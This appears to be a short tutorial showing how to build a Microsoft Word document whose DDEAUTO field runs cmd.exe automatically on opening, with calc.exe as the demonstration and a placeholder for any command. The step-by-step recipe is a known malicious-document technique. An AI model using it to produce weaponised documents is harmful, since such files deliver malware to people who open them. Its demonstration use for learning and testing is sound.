Execute Shell From MSWord

Step 1.)Open MS-Word as blank document

Step 2.)Click insert->Quick parts->Field

Step 3.)In field  Select = (formula) and click ok

Step 4.)Select the text appeared and toggle its code by right clicking it.

Step 5.)Enter following code in curly braces
DDEAUTO c:\\Windows\\System32\\cmd.exe "/k [Shell code that you want to insert]"


explained:
DDEAUTO-> keyword to inform MSword that this is a DDE field and will auto execute  when the document is opened
command is executed which is in "        "
for example {DDEAUTO c:\\Windows\\System32\\cmd.exe "/k calc.exe"}

Save it
Run this on your own computer and select "yes" after it will prompt for permissions
Finally it will open up calculator.

TRY IT!!